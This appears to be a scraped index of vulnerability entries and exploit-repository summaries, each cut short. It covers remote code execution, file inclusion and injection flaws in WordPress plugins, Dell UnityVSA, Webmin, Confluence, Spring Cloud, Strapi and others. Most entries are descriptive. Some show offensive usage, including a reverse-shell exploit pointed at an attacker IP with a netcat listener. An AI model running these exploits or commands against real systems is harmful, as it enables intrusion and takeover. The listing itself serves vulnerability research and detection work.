Worpress Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.3.7 via the /includes/backup-heart.php file. This is due to an attacker being able to control the values passed to an include, and subsequently leverage that to achieve remote...

Ads Pro Plugin <= 4.89 - Local File Inclusion

The Ads Pro Plugin - Multi-Purpose WordPress Advertising Manager plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.89 via the 'bsatemplate' parameter of the bsapreviewcallback function. This makes it possible for unauthenticated attackers to includ...

Dell UnityVSA < 5.5 - Remote Command Injection

Dell Unity, versions 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. id: CVE-2025-36604 info: name: Dell UnityVSA 5.5 - Remote Command Injection author: DhiyaneshDK,watchtowr severity: critical description: | Dell...

Webmin <1.990 - Improper Access Control

Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without enterin...

Cockpit CMS 0.6.1 - Remote Code Execution

Cockpit before 0.6.1 allows an attacker to inject custom PHP code and achieve Remote Command Execution via registerCriteriaFunction in lib/MongoLite/Database.php, as demonstrated by values in JSON data to the /auth/check or /auth/requestreset URI. id: CVE-2020-35131 info: name: Cockpit CMS 0.6.1 ...

WordPress Epsilon Framework Themes <=2.4.8 - Remote Code Execution

WordPress themes including Shapely = 1.2.7, NewsMag = 2.4.1, Activello = 1.4.0, Illdy = 2.1.4, Allegiant = 1.2.2, Newspaper X = 1.3.1, Pixova Lite = 2.0.5, Brilliance = 1.2.7, MedZone Lite = 1.2.4, Regina Lite = 2.0.4, Transcend = 1.1.8, Affluent = 1.1.0, Bonkers = 1.0.4, Antreas = 1.0.2, Sparkli...

IncomCMS 2.0 - Arbitrary File Upload

IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server. id: CVE-2020-29597 info: name: IncomCMS 2.0 - Arbitrary File Upload author: princechaddha severity: critical description: |...

Apache Cocoon 2.1.12 - XML Injection

Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML. id: CVE-2020-11991 info: name: Apache Cocoon 2.1.12 - XML Injection...

Cacti v1.2.8 - Remote Code Execution

Cacti v1.2.8 is susceptible to remote code execution. This vulnerability could be exploited without authentication if "Guest Realtime Graphs" privileges are enabled. id: CVE-2020-8813 info: name: Cacti v1.2.8 - Remote Code Execution author: gy741 severity: high description: Cacti v1.2.8 is...

Micro Focus UCMDB - Remote Code Execution

Micro Focus UCMDB is susceptible to remote code execution. Impacted products include Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions, and Operations Bridge containerized 2020.05, 2019.08, 2019.0...

DataEase - Remote Code Execution

DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection...

Mida eFramework <=2.9.0 - Remote Command Execution

Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative root privileges. No authentication is required. id: CVE-2020-15920 info: name: Mida eFramework =2.9.0 - Remote Command Execution author: dwisiswant0 severity: critical description: Mida eFramewor...

CVE-2023-43654

CVE-2023-43654 ShellTorch は、PyTorch TorchServe（PyTorch のデフォルト推論サーバー）における3つの重大な脆弱性の連鎖です。 これは、ネットワークから任意のリモートコード実行につながるSSRF脆弱性のエンドツーエンドのPoCです。 1. TorchServe 0.8.1 を実行 docker run -d --rm -it -p 8080:8080 -p 8081:8081 -p 8082:8082 -p 7070:7070 -p 7071:7071 --name shelltorch-demo...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

此存储库没有 README。...

Strapi-RCE

Strapi-RCE CVE-2019-18818 と CVE-2019-19609 を組み合わせたエクスプロイトスクリプトです。Strapi CMS において認証なしでリモートコード実行を実現します。 エクスプロイト このスクリプトは、Strapi CMS バージョン 3.0.0-beta.17.4 以前の脆弱性を悪用し、認証なしでのリモートコード実行を可能にします。 説明 このエクスプロイトは、まずパスワードリセットの脆弱性を利用して管理ユーザーの JSON Web Token JWT を取得します。次に、そのトークンを使って Strapi CMS...

ActiveMQ-RCE

ActiveMQ RCE 受影响版本 verison open -a calculator 开启一个 http 服务 python3 -m http.server 运行 Main.java 文件（根据需要修改地址）。...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 的概念验证。 Confluence Server Webwork OGNL 注入（预认证 RCE） 免责声明 本工具仅供教育目的使用。本人不对你的行为负责。请自行斟酌使用。 命令限制 由于 payload 限制，某些字符无法传入。以下列表是我在测试中发现的。 双引号 " 竖线 | 交互式 Shell go run exploit.go -t -i 示例 root@localhost:/ go run exploit.go -t http://localhost:8090 -i CVE-2021-26084 - Confluenc...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RCE in Spring Cloud Function---...

EUVD-2026-87829

heym before 0.0.91 contains a sandbox escape vulnerability in the expression engine's DotList map/filter and fallback resolver that allows authenticated users to execute arbitrary Python code. Attackers can craft workflow expressions using dunder attribute access through item expressions or the...

CVE-2026-100864 heym before 0.0.91 Remote Code Execution via Expression Engine

heym before 0.0.91 contains a sandbox escape vulnerability in the expression engine's DotList map/filter and fallback resolver that allows authenticated users to execute arbitrary Python code. Attackers can craft workflow expressions using dunder attribute access through item expressions or the...